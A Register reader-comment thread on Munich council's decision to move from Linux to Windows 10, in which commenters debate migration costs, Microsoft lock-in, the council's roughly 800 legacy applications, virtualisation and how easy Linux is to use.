back to article Munich council: To hell with Linux, we're going full Windows in 2020

Munich city council's administrative and personnel committee has decided to move any remaining Linux systems to Windows 10 in 2020. A coalition of Social Democrats and Conservatives on the committee voted (PDF, auf Deutsch, natürlich) for the Windows migration on Wednesday, Social Democrat councillor Anne Hübner told The …

  1. Steve Davies 3 Silver badge

    Not sure about Office?

    Hübner said "no final decision has yet been made" on whether LibreOffice will be swapped out for Microsoft Office. "That will be decided at the end of next year when the full cost of such a move will be known."

    Of course they will go for Office 365 when MS makes it cost nothing for the first year.

    Then they will put the price up so that any losses they make early on are more than covered in future years.

    By then the MS lock in will be total and Munich will just be another cash cow for Microsoft.

    Many of us have seen this many times before in the past.

    MS will no doubt be hoping that this 'victory' will stop any other companies/local or national governments/etc from even thinking about ditching windows and office even though some major companies are openly saying that the TCO for a Windows environment is more costly than others.

  2. hplasm Silver badge
    Unhappy

    "When it's political, technology cannot do anything."

    'Nuff said.

    It's all about the pork.

    1. m0rt Silver badge

      Re: "When it's political, technology cannot do anything."

      " "When it's political, technology cannot do anything." "

      Errr....so why all the current news articles about technology being used to influence votes in certain countries?

      1. Mage Silver badge

        Re: "about technology being used to influence votes"

        That's not actually really technology but giant USA megacorps and the so called "social media".

      2. MR J

        Re: "When it's political, technology cannot do anything."

        Manipulation of Idiots and Reasoning of Politicians are not really the same thing... Close, but not the same thing.

      3. Anonymous Coward
        Anonymous Coward

        Re: "When it's political, technology cannot do anything."

        " "When it's political, technology cannot do anything." "

        But in this case it clearly wasn't. The users hated it and it was an expensive failure.

    2. Aitor 1 Silver badge

      Re: "When it's political, technology cannot do anything."

      "800 or so total programs "

      I dont think they are living in 2017.

      While I do understand that there are quite a few software packages that need to be run locally (architectural ones, for example) I just dont understand how they can end up with 800 programs.

      Maybe they should reign in their users, and instead of everyone running their own little IT kingdom

      they should just focus on the job they have to do. I would love to see that

      list and the justification.

      Also, most local authorities I have been in contact with have such varied

      needs because they are proving services outside their own responsability while

      at the same time not providing correct services for the ones they should be

      providing because of lack of funding.

      Then again I might be wrong but when a large organization has such a varied sw list, something is wrong in the org itself... and workers are doing what they want, not what they should be doing.

      1. Anonymous Coward
        Anonymous Coward

        Re: "When it's political, technology cannot do anything."

        I agree, 800 programmes is absolutely ridiculous. I was involved with a few studies concerning migrating from a Widows desktop to Linux. In each case it boiled down to somewhere between 6 and 10 key programmes/applications that did not have a native Linux equivalent. I do not know the outcome of these studies for certain, I was only a consultant for part of the study but I believe one of the three resulted in a migration.

        Obviously some migration effort and expense would be involved but the TCO analysis for a 3-5 year period always favoured Linux.

        1. John Brown (no body) Silver badge

          Re: "When it's political, technology cannot do anything."

          "I agree, 800 programmes is absolutely ridiculous."

          They may be including all the various learning packages used in the cities schools too, but even then, 800 still seems a tad high.

        2. Updraft102 Silver badge

          Re: "When it's political, technology cannot do anything."

          "Obviously some migration effort and expense would be involved but the TCO analysis for a 3-5 year period always favoured Linux."

          Was that before or after Windows mandated rollouts every six months? If costs were higher with Windows before, they'd be much higher now.

          1. Anonymous Coward
            Anonymous Coward

            Re: "When it's political, technology cannot do anything."

            "Was that before or after Windows mandated rollouts every six months? If costs were higher with Windows before, they'd be much higher now."

            With Windows 10 all that has gone away. It's just a regular in place update along with any other patches. Once you have migrated to Windows 10 is on you never need to rebuild PCs or reinstall apps again (in theory at least).

        3. TheVogon Silver badge

          Re: "When it's political, technology cannot do anything."

          "Obviously some migration effort and expense would be involved but the TCO analysis for a 3-5 year period always favoured Linux."

          Erm, no, no it didn't. It would have cost €10 million to stay with Microsoft. It cost €18 million just to migrate, several million more to create the Limux build and applications, and according to Munich's IT department they have spent €82 million since trying to remediate systems to work with Linux!

          https://joinup.ec.europa.eu/document/limux-it-evolution-open-source-success-story-never

          1. anonymous boring coward Silver badge

            Re: "When it's political, technology cannot do anything."

            "according to Munich's IT department they have spent €82 million since trying to remediate systems to work with Linux!"

            Mein Gott!

            I'm moving to München ASAP!!

      2. Sixtysix
        Stop

        Re: "When it's political, technology cannot do anything."

        Sadly, I can well believe 800... having worked for several Councils and a central Government body (in UK).

        Many of these will be old legacy versions associated with old legacy devices, that cannot be replaced for money reasons: People Counters for instance (as one, painful, example off our estate). These have forced me to continue to support some (very off-line) old netbooks running XP with a USB to serial port as there is no newer software/hardware to interrogate the ******* things, and no budget to replace the actual counter tech with the all-singing-and-dancing-SMS-using-new-shiny (let alone budget for all the SIMs and airplans that replacement drive would need to be able to use the new shinies).

        What I cannot believe is that that is being allowed to "drive" things.

        Politics.

      3. Anonymous Coward
        Anonymous Coward

        Re: "When it's political, technology cannot do anything." @Aitor 1

        '800 or so total programs '

        "I dont think they are living in 2017."

        I have only worked with a single town (<20k people or so), and with nowhere near as many programs, but the number was still a bit stupendous. The town merged to a bigger one and I wasn't needed - a relief! Still, the bigger town inherited all the software in the smaller one and phasing them out with their own will still take years.

        City planning may sound like a simple division (and it is in small towns), but when you're dividing it into zoning, transport, land-use, water/power/severage infrastructure etc, and most of those need multiple software.

        Education has different software on different departments because Kindergarten managing software may have needs that the University mgmt software doesn't cover and vice versa.

        Department of buildings may need multiple software for different access control systems in different buildings, there may be dozens different HVAC systems in the city buildings. AutoCAD and a 3rd party HVAC addon (for example) would be hard to replace.

        Those are just a small subset of departments in a city as big as Munich. HTML5 based systems could cover a lot of those special programs, but I don't think it is feasible yet for e.g. CAD usage.

        Then you'll need to factor in external connections to things like census. Monthly reports on births and deaths, all sort of different statistics for the state/government and such. Some of them may have external interfaces but not all will.

        I'm sure there's extra fluff in those 800 programs but it's not like everything could be foisted into cloud and users just need an OLPC for everything...

      4. uncle sjohie

        Re: "When it's political, technology cannot do anything."

        It depends, if you count all the OS and dedicated software-updates as individual programs to be scripted and distributed, it adds up pretty quick. And there can be 4 or 5 versions of 1 program needed, eg for the calculation of noise-levels. Here the municipalities not only tell which program(version) to use, but also which individual calculating modules in that specific version of the program. And those are frequently written in laws of plans, so as an engineering firm, we have to keep those old versions running for the duration of the project.

      5. ecofeco Silver badge

        Re: "When it's political, technology cannot do anything."

        Maybe they should reign in their users, and instead of everyone running their own little IT kingdom

        This is exactly what the real problem sounds like. The problem wasn't Linux, it was lack of standards across all departments. Every department sounds like they are a silo.

        1. Just Enough

          Re: "When it's political, technology cannot do anything."

          "The problem wasn't Linux, it was lack of standards across all departments."

          And it's a big "Hello There!" to the Linux fall-back excuse #1! "It's not Linux fault, it's the users"

        2. Anonymous Coward
          Anonymous Coward

          Re: "When it's political, technology cannot do anything."

          "The problem wasn't Linux,"

          Yes it was. All of this worked fine under Windows...

      6. Anonymous Coward
        Anonymous Coward

        Re: "When it's political, technology cannot do anything."

        Re: "800 or so total programs " - I dont think they are living in 2017."

        Having worked at a council in the past, there are a lot of unique applications - things for managing traffic lights (think it was SCATS...), traffic and crowd modelling, engineering packages, GIS, library systems, facilities management systems across council buildings ranging from animal welfare to gyms and swimming pools - the list is almost endless.

        These aren't systems used by a lot of people, but a lot of them won't work in Citrix due to requiring specific hardware or licencing dongles. And most of the systems used were required to meet regulatory requirements so even if you tried to move to another application, your choices were limited to a handful of supported applications and most didn't have developers willing to support multiple platforms unless they had the customer base to justify it.

        1. Mark 110

          Re: "When it's political, technology cannot do anything."

          Agree with all the above comments about 800 apps not being that surprising. I'm currently working for a Housing Association (think the equivalent of the councils social housing division and maybe some of their 'care & support' and we have catalogued 300 odd applications (I don't know how many are thick Windows client off the top of my head).

          Everything from desktop office software, environmental noise software, other environmental software (air, water quality for example), the stuff that manages access to buildings, lifting gear service compliance management software, gas compliance, electrical compliance, asbestos compliance, everything else compliance, new build project software, repairs and maintenance management (about 6 of these), a number of customer service apps (CRM), the usual HR suite, the usual finance suite, the usual IT management suite, telephony systems, CCTV systems, cashless payment systems, the usual marketing stuff, I could go on and on and on. I've never (well, very brief stint at Cheshire County Council years ago) worked in this industry before and its been an education. Theres loads of duplication and failure to use things to their potential I agree. There's a 5 year plan to sort that out.

          Anyway - I audited this stuff and theres not a single Linux thick client app for any of the thick client stuff. Except perhaps some of the IT systems management software (just starting to audit this).

          Why? Theres no demand. People expect a Windows client so thats what gets developed. You want a Linux version then you pay to get it developed. And then you pay for the business readiness for the switch over. And then you pay for the user training. And then you pay the ongoing maintenace/dev costs for something you could have bought a Windows version off the shelf.

          And then you have to have every single one of these apps ready to go for when you switch peoples desktops over to Linux.

          We're locked in. Unless every app runs in the cloud and you use it via a browser. Just have to suck that one up.

          1. Paul Crawford Silver badge

            Re: "When it's political, technology cannot do anything."

            I guess another unanswered question is how many of those 800 programs are supported for the planned Windows 10 roll out?

            If they have many legacy issues, which seems to be a root cause, they may find they are in the same situation of various old/unfamiliar systems being kept for widget2000 that barely runs on XP, and only pre-SP3...

            1. Anonymous Coward
              Anonymous Coward

              Re: "When it's political, technology cannot do anything."

              "I guess another unanswered question is how many of those 800 programs are supported for the planned Windows 10 roll out?"

              That would likely be all of them. You can easily virtualise older Windows versions transparently under W10 if you have any really won't run under Windows 10 as native apps.

              1. mstreet

                Re: "When it's political, technology cannot do anything."

                "You can easily virtualise older Windows versions transparently under W10 if you have any really won't run under Windows 10 as native apps"

                Last time I checked, you can virtualize older Windows versions on Linux too....and yes, easily.

                1. Michael Duke

                  Re: "When it's political, technology cannot do anything."

                  But without the licensing advantages of Windows 10 Enterprise managing those VM's and their licenses in a 30,000 seat enterprise would be a nightmare of the proportion you have never dreamed and the risk and cost exposure would make any corporate guy run for cover.

                  What works in a SMB environment does not scale to 30,000 seats very often.

                  1. nijam

                    Re: "When it's political, technology cannot do anything."

                    > ... licensing advantages of Windows 10 Enterprise ...

                    Because the GNU license is so difficult to manage?

                    I sense another self-fulfilling prophecy...

                  2. Archtech Silver badge

                    Re: "When it's political, technology cannot do anything."

                    I don't think Amazon and Google's computers support that many "seats", but they do have a lot of them running a huge number of users.

                    With Linux.

                2. Anonymous Coward
                  Anonymous Coward

                  Re: "When it's political, technology cannot do anything."

                  "Last time I checked, you can virtualize older Windows versions on Linux too....and yes, easily."

                  But not transparently so you only see the app window like you can on W10. You would get a whole desktop under Linux...

                3. Anonymous Coward
                  Anonymous Coward

                  Re: "When it's political, technology cannot do anything."

                  "Last time I checked, you can virtualize older Windows versions on Linux too....and yes, easily."

                  Well firstly under Linux you would need to license that OS where under Windows it's included. Secondly Windows 10 can virtualize the app on the underlying OS so that's its launched from a standard icon and appears in a window just like any other app! On Linux you would have to separately launch the VM, load Windows and launch the app - which would appear as part of desktop. So nothing like as well integrated and transparent a solution.

            2. Sandtitz Silver badge
              Boffin

              Re: "When it's political, technology cannot do anything." @Paul Crawford

              "I guess another unanswered question is how many of those 800 programs are supported for the planned Windows 10 roll out?"

              Supported? Probably many of the software is already unsupported.

              What won't work are all DOS programs (bet there are some), but DOSBox will run the DOS software (as it would under Linux as well). Printer port dongles may work but I recall needing some special DOSBox builds...

              It's the 16-bit Windows software that requires the most work. First, Windows be 32-bit to run it. And you may need to register all the DLL/OCX files, disable UAC, change system file permissions and such. And they may still not work, requiring some phased out APIs or something... Then again the software may work out of the box - I've been playing Civilization 1 for Windows from Windows3.1 era in Windows 8 box flawlessly. (CIV1 still rules)

              One show stopper is probably all the devices with no drivers since Win98 or XP or such. One of my clients had to spare several XP systems because their microscopes had a camera which didn't have drivers beyond XP.

              The biggest show stopper is finding the installation media, and then hoping the disks and drives still work...

              1. TheVogon Silver badge

                Re: "When it's political, technology cannot do anything." @Paul Crawford

                "It's the 16-bit Windows software that requires the most work. First, Windows be 32-bit to run it. And you may need to register all the DLL/OCX files, disable UAC, change system file permissions and such. "

                A quick fix is just to run it in a 32 bit Windows 10 VDI / VM session. See https://www.groovypost.com/howto/enable-16-bit-application-support-windows-10/

                And yes sometimes fiddling is required, but then it's still quite impressive to be able to run 25 years old software on a modern OS!

          2. YARR
            Thumb Down

            How have they worked for the last 10-15 years with Linux desktops if there are 800+ apps they need that are Windows only? They must have used both platforms interoperably, so why the need to switch to Windows only now? If management insist the whole network must run the same OS to simplify support / improve security, that doesn't bode well for an IOT / mobile app future.

            Linux desktops reduce support and licencing costs for the common apps they run well. For more obscure apps that are only available for Windows, these should be virtualised (RDP-ed) where possible to avoid users needing multiple desktops or having to dual-boot. Further, if virtualised Windows VMs are isolated from the internet, they can maintain older versions and avoid paying for updates (reducing TCO). From the tax payer's perspective, all apps and data formats should ideally be platform neutral / open standards to avoid the long term costs of vendor lock-in.

            1. hoola Bronze badge

              Virtualised WIndows

              And therein lies the totally fallacy of the advocates of Linux. As soon as your workaround to get an application to work is to install a virtualised copy of Windows you are in a far worse situation. You now have 2 operating systems to support (yes, Linux DOES need managing and patching, particularly at scale) and users who have no concept of virtualisation. Why the hell should a user understand what a virtual windows OS is? They just want to do their work and could not give a stuff about the underlying OS. The options of botched alternatives that only half work and every thing that is then sent out has stuffed up formatting is just not acceptable. Most commentators here are IT Professionals who are happy to spend time making things work. The average user is not and has no interest in trying to make things work. If the Linux zealots are so keen to push Open Source then the only viable option is Apple. That then brings an equal set of problems as it cannot be managed easily at scale and is a serious pain in the arse on any corporate system.

              Just endlessly bleating how good Linux Mint or whatever your favourite distribution is will not change things. In order to become mainstream there needs to be a single, consistent GUI and distribution, sort out all the dependency problems and having to compile things to get them to work and you might get somewhere. The only way this will happen is the distribution is commercial and then you have gone full circle. There might be different versions of Windows but that is no different to the Linux versions within a distribution. What Windows has never had is the varying distributions that mean nothing quite works as you expect it to within a major release.

              At that point you have a single monopoly controlling the OS, licencing and pricing. We have now gone full circle........

              1. James Hughes 1

                Re: Virtualised WIndows

                There is a single consistent GUI/desktop. The one you chose to use. Just ignore any others.

                As for compiling applications, just chose one where the distro has already done it for you. I haven't had to compile an app for years, I just use whatever Canonical has in their repo.

                And using one distro does not means a monopoly, since the kernel development is done out of distro land.

                Note: I have Windows10 on the laptop, but only for web and some Windows only apps (not many at all). We handle a huge amount of stuff on the cloud (email, source control, bug tracking, office management, task management, which can actually be done under Linux as well). All of my software work in done on a Linux VM, or VNC to a Linux server, apart from a particular debugger which runs under Windows, but access the source tree on a Linux server.

                Generally, the Windows fails exceed the Linux fails by quite some margin.

        2. Antron Argaiv Silver badge
          Thumb Up

          Re: "When it's political, technology cannot do anything."

          "...there are a lot of unique applications - things for managing traffic lights (think it was SCATS...), traffic and crowd modelling, engineering packages, GIS, library systems, facilities management systems across council buildings ranging from animal welfare to gyms and swimming pools - the list is almost endless."

          I think this is almost certainly the issue. Of course, all the above apps are dongle or license key protected, perhaps node-locked and run only on XP, the companies who originally built and supported them having disappeared long ago. When you have infrastructure controlled by PC software, and the company supporting the software side ceases to provide that support, or upgrades, you're faced with a Hobson's choice: change the hardware (without a budget and sometimes involving excavators or cranes), or keep the laptop with XP running forever.

          I can't blame Munich for reverting. They did give Linux a good try, too bad it didn't work out. Real life is quite often not as simple as we wish it was.

      7. Mark 65

        Re: "When it's political, technology cannot do anything."

        "800 or so total programs "

        I dont think they are living in 2017.

        While I do understand that there are quite a few software packages that need to be run locally (architectural ones, for example) I just dont understand how they can end up with 800 programs.

        Wouldn't surprise me if most of those 800 programs were just spreadsheets.

    3. petur
      Black Helicopters

      Re: Not sure about Office?

      Yes, MS is upping the marketing effort...

      They are also doing a Wordperfect tactic here, with some bizarre deal that gives all kids of all the schools in my city(*) an Office365 account, all homework and communication is done on it so no escape for the brainwashing of the kids.

      Only years before we had managed to move the school of my kids to linux, everybody happy, and then this move came in from above.

      Curse lobbying...

      (*) Gent, Belgium

      1. MR J

        Re: Not sure about Office?

        Worse for my kids school.

        They use a music application that cost about $600 and is several versions behind, the new versions refuse to export to the old version so the school will only let you work with that old version or none at all (so I picked none at all). I am not paying that amount of money for my kid to use a non-supported program at home.

        Then, like you say, office. Well currently the kids can get it free (but that's because the school is paying out the nose for services), but the IT department in my kids school, nearly 1k children, didn't know that the children could get it free. I only discovered it when I argued to get access to the children's school mail so they could do some work at home, the "option" is not in a great place but it is there. Funny part is that the school is using older versions of office, and they want all parents to buy the older versions so the kids can work from home!... Laughable that they are paying the cost of office for all the kids and themselves, but not using it at all.

        I tried for years to get their earlier school to move to PDF files instead of Publisher 2003, they found it confusing that so many parents couldn't open an email with a publisher 2003 file - it was sad they didn't understand.

        Too many people use ONLY windows, and ONLY Internet Explorer. You deviate away from that and they say they are unhappy or feel that things are not good. Schools get kids to do everything in windows-only environments and that feeds through until they are young adults. There comes a point when the children are unhappy to do anything that doesn't work on a windows machine, because that's all that they know.

        1. Fruit and Nutcase Silver badge

          Re: Not sure about Office?

          @MR J

          Then, like you say, office. Well currently the kids can get it free

          Get them hooked whilst young with some freebies. I guess that's the same business plan of your local drug dealer

          1. John Smith 19 Gold badge
            Big Brother

            " I guess that's the same business plan of your local drug dealer"

            Pretty much.

            Also get them used to the "THere is no OS but Windows. There is no email but Outlook. There are no office apps but Offce365 (or however many days it runs before their DC goes TITSUP)"

          2. Anonymous Coward
            Anonymous Coward

            At Fruit And NutCase, RE: drugs.

            I object! I'm a perfectly respectable cocaine

            dealer & I vehemently object to having my product compared to Microsoft!

            1. Fruit and Nutcase Silver badge

              Re: At Fruit And NutCase, RE: drugs.

              @AC

              Please accept my humble apologies. I am sure you are a purveyor of the finest Colombian marching powder with ethical business practices. No doubt Certified Organic and Carbon Neutral too

            2. Anonymous Coward
              Anonymous Coward

              Re: At Fruit And NutCase, RE: drugs.

              "I object! I'm a perfectly respectable cocaine

              dealer & I vehemently object to having my product compared to Microsoft!"

              Really? Surely Microsoft is like uncut product - hard to stop using and expensive, but it does the job properly!

          3. Andrew Barr

            Re: Not sure about Office?

            Surely thats the same as saying hey. Linux and LibreOffice is free, come get hooked on this!

            1. Jakester

              Re: Not sure about Office?

              Okay - Linux and Libre Office is free the first year. The price doubles every year after that. So, if you have busines with 500 computers, after 3 years that comes to $0 + 500x2x$0 + 500x2x2x$0 .... which comes to, let me see now ... carry the 1 ... hmmm ... that's $0 ...

              I've been using Libre Office exclusively since shortly after the split from Open Office Org (just didn't trust Oracle when they acquired it). The only time I use Microsoft Office is when I have to provide tech support. The usual solution is to open the problematic document with Libre Office, reformat as necessary, and save it back into the Microsoft format to fix the errors Microsoft puts into document.

              Sure, there is some difference in operation between Libre Office and Microsoft Office, but usually less confusing with Libre Office with the massive moving of menu items, hiding functions, removing features, etc. It's one thing to have to deal with the headache of the new Microsoft 'features' with each release, but another to pay for those headaches.

              1. tom dial Silver badge

                Re: Not sure about Office?

                Before I retired I transported draft documents fairly often between work PC (Windows/MS Word/MS Excel/MS PowerPoint) and my home PC (Debian/Open Office or Libre Office) to do a bit of catchup in an environment where I would not be disturbed. There were portability issues, mostly quite minor and none actually hard to circumvent; and after a couple of iterations of a document, spreadsheet, or slides, no more issues remained. These were not overly fancy items, as is the case with nearly all such things done in and for an environment where substance outweighs form and appearance.

                Overall, I also preferred OpenOffice and LibreOffice, as I had a many years war with Word documents that had embedded font and background information that often metastasized after inconsequential edits and that the department admin support could not fix despite having fairly extensive training and long experience with a product that had several times the necessary features and at least two or three flaky patches to try to make them work together.

            2. This post has been deleted by its author

            3. grumpy-old-person

              Re: Not sure about Office?

              Free vs wildly expensive - how is that the same?

              1. Anonymous Coward
                Anonymous Coward

                Re: Not sure about Office?

                "Free vs wildly expensive - how is that the same?"

                Free only if your time has no value and your support has no cost....You often get what you pay for!

          4. Anonymous Coward
            Anonymous Coward

            Re: Not sure about Office?

            "Get them hooked whilst young with some freebies. I guess that's the same business plan of your local drug dealer"

            Give them the good stuff first and then when they rely on in, substitute inferior cut stuff you mean? Sort of like trying to give them Libre Office instead of MS Office!

          5. Captain Badmouth
            Windows

            Re: Not sure about Office?

            "I guess that's the same business plan of your local drug dealer"

            Hey, little kid, wanna buy 10p worth of heroin...?

        2. Anonymous Coward
          Anonymous Coward

          Re: Not sure about Office?

          'Schools get kids to do everything in windows-only environments"

          Well that is what they would actually need to use in 99% of workplaces!

          1. nijam

            Re: Not sure about Office?

            > Well that is what they would actually need to use in 99% of workplaces!

            And that is the very exemplar of a self-fulfilling prophecy.

            (Or would be, if it were actually true.)

          2. P. Lee Silver badge

            Re: Not sure about Office?

            >Well that is what they would actually need to use in 99% of workplaces!

            Shouldn't they be in school?

            1. Anonymous Coward
              Anonymous Coward

              Re: Not sure about Office?

              "Shouldn't they be in school?"

              Isn't a primary objective of attending School commonly to make you employable in a better job than if you didn't?

              1. Terry 6 Silver badge

                Re: Not sure about Office?

                Hmm I take your point. But really education should be about getting educated, and being educated ought in turn also make people more employable. But employability shouldn't be the primary purpose. Having an educated, thinking population should be. Otherwise we end up with a kind of utilitarian skills based training system for the masses rather than a broad based education, which becomes reserved for the rich and powerful who don't need to seek jobs, either not needing to work or going from public school to Oxbridge then into a privileged, reserved niche. As was once the case. And it looks more and more like we're going back to those days.

              2. Kiwi Silver badge
                Headmaster

                Re: Not sure about Office?

                Isn't a primary objective of attending School commonly to make you employable in a better job than if you didn't?

                I thought the primary objective of attending public school was to make sure you're so uneducated that you can't get a better job (or at least can't challenge TPTB)...

                1. jake Silver badge

                  Re: Not sure about Office?

                  The primary objective of public schooling is to ensure that as many bureaucrats as possible make as much money as possible. Or so it would seem.

                2. Anonymous Coward
                  Anonymous Coward

                  Re: Not sure about Office?

                  "!I thought the primary objective of attending public school was to make sure you're so uneducated that you can't get a better job"

                  Better than running the country you mean?! The majority of our politicians went to public schools like Eton, Rugby, Harrow, etc. etc.

        3. StargateSg7 Bronze badge

          Re: Not sure about Office?

          I've used and developed almost EVERY major operating system out there from Unix (AT&T version) to Xenix to Linux to Novell to Amiga OS to NextSTEP to BeOS to PDP-11 to Vax VMS, OS-400, RTOS, QNX, Theos, Android, iOS, MacOS, and yes EVERY version of MS-DOS and Windows...I do must say.... everything else OTHER THAN WINDOWS basically SUCKS THE BIG ONE !!!!

          Windows 10 Desktop and Windows Server 2016 with an open Command Line Interface window are basically the BEST Desktop and Server Operating Systems out there in terms of EASE-OF-USE and it just works!

          I've worked with so many OS'es I am sick and tired of using DUMB command line names! WHO THE HECK names an install program SUDO? ... What IDIOT searches for text using something named GREP? Seriously what idiot even programs in a language whose variable names, identifiers and function names are CASE-SENSITIVE (i.e. C/C++)?

          OMG --- everything else SUCKS that ISN'T Windows...!!!

          At least I can right click on a program icon and get it;s properties or single-click to install.What other OS mere asks me to provide a destination folder for an app instead of make me type:

          tar -xyz dev/os3/archive/dimsungapp.tar.gz

          cp dev/os3/archive/dimsungapp.tar.gz /dev/os3/opentext/datatech.pkg

          sudo apt-get install /dev/os3/opentext/datatech.pkg

          SERIOUSLY? Who DESIGNS CRAP LIKE THIS ?????

          Even MS-DOS had a muchsimpler system

          Install Lotus123.zip C:\MyApps

          It's gotten SO BAD with Linux and C/C++ our company said screw this and went ahead and developed it's own Windows 10-like OS shell and remade the command line interface of Linux to PROPER ENGLISH! We remade LAMP into custom Windows 2016 server-like environment with a decent Active Directory WAN/ALN management system analogue!

          We also REPROGRAMMED ALL OF LINUX using a customized version of EASY-TO-READ PASCAL SOURCE CODE that is FULLY COMMENTED !!!!!!!!!!!!!!!!!!!!!!!

          Everything works JUST THE WAY WE WANT IT NOW !!!!

          1. Adrian Midgley 1

            To install software on Linux I type

            apt install packagename

            You may be doing it wrong.

            1. Teiwaz Silver badge

              Re: To install software on Linux I type

              You may be doing it wrong.

              May? Look at the inappropriate use of CAPS, of course he'd be incompatible with a case sensitive O.S.

            2. TheVogon Silver badge

              Re: To install software on Linux I type

              "apt install packagename"

              After finding the exact package name and repository, then opening a shell, running sudo, checking for and adding the repository if needed and maybe having to run "apt-get build-dep packagename" though. Not to mention maybe having to run "apt-get install base-config" and then "apt-setup" the first time you want to do that....

              On Windows just type the app name in the store, click install

              Or for non Store Windows apps, click download from Edge, click Run and accept the elevation prompt all from the GUI...

          2. just_me
            Facepalm

            Re: Not sure about Office?

            @StargateSg7

            Your comments put a question as to your claimed 'accomplishments' or which architectures you worked on. For example;

            Your arguments for 'tar', there is no option 'y'. However the command:

            "tar -xvfz dev/os3/archive/dimsungapp.tar.gz"

            Would work - however someone who has worked on Linux and or Unix type architectures would know that. The 'tar' command listed above would extract to current directory unless the files in the 'tar' archive are full path. BTW; tar stands for 'tape archive' - it also has the ability to write to a file as well as a tape drive ie /dev/rmt0, /dev/scsi/0/rmt0... etc depending upon OS variant and generation. After you have extracted the contents of a tar archive, you would not need to copy the tape archive to another directory as in;

            "cp dev/os3/archive/dimsungapp.tar.gz /dev/os3/opentext/datatech.pkg"

            Or did you mean to copy the contents of the current directory where you extracted the tar file to that new location? That would be;

            "cp -r . /dev/os3/opentext/datatech.pkg"

            Though considering that install packages 'pkg' are self contained compressed items, I don't see why the need for putting it into or extracting it from a 'tar' file - as well as compressing the tar file. You could install the package directly.

            Your comment that sudo is a weird name for a installer(install program) is complete bullocks. 'sudo' is a way to run something as an administrator when you currently aren't. Some people think it stands for 'Super User Do' or run as a super user. In reality it allows you to run a program as any other user than your current user id (provided you have the correct creds). A better way to think of it is 'Set UserId and Do'. The rest of the line following sudo is the actual install command for the package - however also invalid. The tar and copy being unnecessary. 'apt-get' normally doesn't install from a file name, therefore your example below is invalid;

            "sudo apt-get install /dev/os3/opentext/datatech.pkg"

            Would actually be

            "sudo apt-get install datatech.rpm"

            NOTE: the suffix is actually rpm for packages handled by the Advanced Package Tool, and it will actually do a download and install. If you want to install a package from a file that has already been downloaded.. it is a different command.

            StargateSg7, I think you cobbled up some crap that you thought would fly by people and then threw it out there; nope -doesn't work.

            BTW: Most Linux's have a GUI interface for their package managers.

            1. lpartan

              Re: Not sure about Office?

              when I look at the nits picked on the poster's post, and read about the poster's failures to have adequately memorized and/or understood the flags, and the poster's failures to have understood the possible interpretations of nicknames, and the poster's utter failure to grasp the subtleties of seldom used but unavoidable utilities, I must conclude that you have solidly made the poster's point.

              1. Denarius

                Re: Not sure about Office?

                and there was I thinking the post was a mere troll I mean writing A Windows clone GUI in pascal when LXDE, Xfce and other desktop GUIs exist.

            2. Gerardo Korndorffer

              Re: Not sure about Office?

              Clearly the "sudo installer" gave us all a good laugh but he does have a point, Windows is easier to use.

              Albeit, some Linuxes are quite easy to use, (my kids are using Ubuntu + Libre Office at home), Windows is still easier to use and they only know about Windows & iOS at their school.

              The real problem is fighting perception that there are no real alternatives. Perhaps they should have considered a mixed environment with Linuxes and Windows on a need to use basis...

              Everyday Office needs can be Happy handled with various Office Suites like Libre Office while some specific applications Will requiere Windows.

              I personally have a problem trying to understand why should I have to choose between going full Windows or full Linux...

              1. Kiwi Silver badge

                Re: Not sure about Office?

                Clearly the "sudo installer" gave us all a good laugh but he does have a point, Windows is easier to use.

                I know a string of older people who will tell you otherwise. None yet over 85, but several over 70, not one of which came from a computing background.

                The real problem is fighting perception that there are no real alternatives. Perhaps they should have considered a mixed environment with Linuxes and Windows on a need to use basis...

                I've built a few small setups like that - left the secretarial/managers machines with Windows and set up the factory/servers/engineers/whatever with Linux, as needed. If I'd come across a CAD use I would've looked at what they needed and gone with the best choice I could find, yes biased towards Linux but if a Windows solution was more appropriate (interoperability, functionality, whatever) that's what they would've got.

                You don't give the secretaries a full CAD suite. You don't give a server a full desktop. You give each machine/user what they need to do their job.

                I personally have a problem trying to understand why should I have to choose between going full Windows or full Linux...

                I haven't yet - there are a couple of games i sometimes play that I haven't yet got running under Linux (and haven't tried). But I now start Windows less than once per fortnight on average, maybe less than once per month. When I first started with Linux I had it on servers (not sure why I chose it over BSD, probably whichever ISO finished downloading first) and windows as the desktop machine. Eventually I actually put a distro with a full desktop on a machine and started using it, and fell in love with it pdq. My windows use has gradually dropped off and now W7 only exists (outside VM) as a plaything.

            3. wayward4now
              Linux

              Re: Not sure about Office?

              "StargateSg7, I think you cobbled up some crap that you thought would fly by people and then threw it out there; nope -doesn't work."

              I thought exactly the same thing. This guy hasn't got a clue. Typical Win user.

          3. Kiwi Silver badge
            WTF?

            Re: Not sure about Office?

            @SG7

            I thought you built all your own hardware and wrote all your own software from the ground up?

            But despite the stuff in your posts that turn bullshit detectors to overloaded slag, perhaps if you want to claim that you've coded in various Unixes esp Linux you might want to learn a few things about the language you claim, eg that there is NOT an program for installing software named "SUDO"? Even just tried it in my Linux Mint's terminal : "SUDO: command not found"..

            Perhaps, if you want us to believe you... Try learnign of what you speak?

            Oh, btw, you owe me a new bullshit detector. Please send one to my address forthwith...

          4. The Original Steve

            Re: StargateSg7 / Not sure about Office

            Whilst I can do basic sys admin task to BSD, Linux, Windows and Android, I'm at my heart a Windows sys admin.

            So whilst I think most of what StargateSg7 wrote sounds like bollocks, I can sympathise with what I believe he was trying to get across.

            Being that the usability of Linux is still poor. Personally the biggest challenge is the mental names used for certain commands and even items in the various X window mangers. Names like yum, grep, sudo, apt, grub and applications like Thunderbird, The GIMP, Kate, Synapse, Pidgin etc. don't help usability.

            I'm happy to use them, as I know what they do and how they work - and generally they are awesome. The tools on Linux is one of the reasons I love it so much. But for a new user, you need to spend ages learning what each command or application does as the name has little bearing.

            Whilst nowhere near as powerful or flexible, Windows applications and commands like Mail, Explorer, Maps. Photoshop is a stark contrast to the names of tools and applications often found in a GNU environment.

            I don't need to hear that there's alternative with more descriptive names, nor to have the examples above explained to me. I prefer to work in Linux/GNU, and I know why certain applications / commands are named that way, and I'm very happy to keep using them.

            I'm merely highlighting that for someone moving from Windows to Linux/GNU there's a hell of a learning curve which I know does put a lot of people off. Rectifying this wouldn't be a be idea if trying to encourage more people from the dark side into the light.

            My 2 pence worth.

            1. Pompous Git Silver badge

              Re: StargateSg7 / Not sure about Office

              "I'm merely highlighting that for someone moving from Windows to Linux/GNU there's a hell of a learning curve which I know does put a lot of people off."
